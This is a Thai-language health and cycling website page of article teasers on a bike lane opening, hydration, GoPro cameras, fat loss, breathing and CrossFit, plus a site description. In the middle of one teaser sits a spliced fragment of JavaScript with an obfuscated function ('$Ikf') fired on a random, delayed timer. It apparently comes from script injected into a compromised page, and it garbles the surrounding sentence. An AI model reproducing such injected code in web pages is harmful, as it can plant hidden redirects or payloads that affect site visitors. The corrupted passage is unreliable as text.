23 พฤศจิกายน 2561 ฤกษ์เปิดใช้งานอย่างเป็นทางการ และในโอกาสนี้ก็ได้เปลี่ยนชื่อสนามเป็น สนามลู่ปั่นจักรยาน “เจริญสุขมงคลจิต” หรือชื่อภาษาอังกฤษ “HAPPY AND HEALTHY BIKE LANE”
เสน่ห์ของการปั่นระยะไกลอาจจะไม่ใช้การได้พิชิตระยะทางอย่างเดียว แต่มันคือการได้ออกไปผจญภัยและชื่นชมวิวทิวทัศน์ใหม่ๆ พร้อมสนุกไปกับเพื่อนๆ เหมือนครั้งยังเป็นเด็กอีกครั้ง
ดื่มอะไรดี : What to drink? ระหว่างวิ่งเคยคิดมั้ยว่าจะดื่มอะไรที่สามารถชดเชยเหงื่อและเกลือแร่ที่สูญเสียไป น้ำเปล่า สปอนเซอร์ หรือเกเตอเรดดี
ภาพอุบัติเหตุของนักปั่นผู้โชคร้าย ที่มีเศษแท่งอลูมิเนียมปลิวเข้ามาขัดล้อรถที่กำลังวิ่งด้วยความเร็วถึง 50 กม./ชม.
เปิดตัว Trailer แรกของ "To The Fore" ภาพยนตร์จากค่าย Emperor Motion Pictures ในฮ่องกงที่เต็มเปี่ยมไปด้วยจิตวิญญาณอันรุ่มร้อนของนักปั่นจักรยาน ที่เล่าเรื่องราวการแข่งขันจักรยานระดับนานาชาติ และการทุ่มเทต่อสู้ของนักแข่งแต่ละคนอย่างเข้มข้น
และแล้วก็ถึงเวลาที่กล้อง Action Camera แบรนด์ยอดนิยมอย่าง GoPro จะออกรุ่นใหม่เป็นรุ่นที่ 4 ที่มาทีเดียวพร้อมกันถึง 3 รุ่น ที่มีทั้งรุ่นตัวท็อปสำหรับมืออาชีพ และรุ่นราคาประหยัดสำหรับคนอยากลองใช้
การขี่จักรยานไม่เพียงแต่ช่วยโลกเท่านั้นมันยังเป็นวิธีการที่ดีในการออกกำลังกาย และข้อดี 7 ข้อต่อไปนี้จะบอกถึงการขี่จักรยานทำให้เราสามารถลดไขมันได้อย่างไร
นักปั่นมืออาชีพที่มีบั้นท้ายอันสวยงาม หลังจากเห็นภาพเหล่านั้นคำถามก็จะผุดขึ้นมาว่าการขี่จักรยานทำให้บั้นท้ายสวยงามได้จริงหรือ คำตอบคือส่วนใหญ่ก็มาจากการปั่นจักรยานนั่นแหละและนี่เหตุผล
จักรยานเป็นกีฬาประเภท low impact และสามารถออกไปตัวเนื่องเป็นเวลานาน พยายามปั่นให้บ่อย สนุกกับมัน หาเพื่อนไปด้วย เเค่นีก็ Healthy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stay fit ...
อาการปวดหลังจากหยุดออกกำลังกายไปแล้วหลายชั่วโมงหรือ DOM ส่วนใหญ่แล้วเกิดจากการเกร็งตัวของกล้ามเนื้อ โดยการเกร็งของกล้ามเนื้ออาจทำให้เกิดการฉีกขาดของเซลล์เนื้อเยื่อซึ่งจะกระตุ้นให้เกิดอาการเจ็บปวด
วันนี้ว่าด้วยเรื่องการหายใจขณะออกกำลังกาย ว่ากันว่าการหายใจเเม้จะดูธรรมดาเเต่ถ้าดูให้ลึก มันเป็นทั้งศาสตร์และศิลป์ การควบคุมจังหวะหายใจเข้าเเละออกให้สัมพันธ์กับจังหวะการออกกำลังการจะสามารถเพิ่มประสิทธิภาพการออกกำลังกายได้เยอะที่เดียว อย่างกับการควบคุมลมปราณในหนังจีนเลยว่างั้น ตามที่กล่าวมาการควบคุมการหายใจ มีผลทั้งการออกกำลังกาย ไม่ว่าจะ วิ่ง วิดพื้น squart หรือเเม้เเต่จิตใจ การหายใจที่ไหลลื่นเป็นจังหวะเเละสมดุลต่อการเคลื่อนไหว สามารถลำเลียงออกซิเจนเข้าร่างการเราได้ดีขึ้น สามารถช่วยให้นักกีฬาอย่างเราๆ รีดเอาศักยภาพออกมาได้มากกว่าเดิม ออกกำลังกายได้นานขึ้น หายใจได้คล่อง ช่วยให้เรามีสมาธิมากขึ้น และลดอาการจุกเสียดเวลาวิ่งด้วยนะครับ ...
Crossfit สามารถเพิ่มความอึดทึกทน พละกำลัง ความเเข็งเเรงของกล้ามเนื้อ ความยืดหยุ่น ความเร็ว การทำงานประสานกันของกล้ามเนื้อร่างกายให้ดีขึ้น ยังสามารถช่วยเเก้ไขความไม่สมดุลซ้ายขวาของร่างกายได้ด้วย
Run more, Spin More
เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา
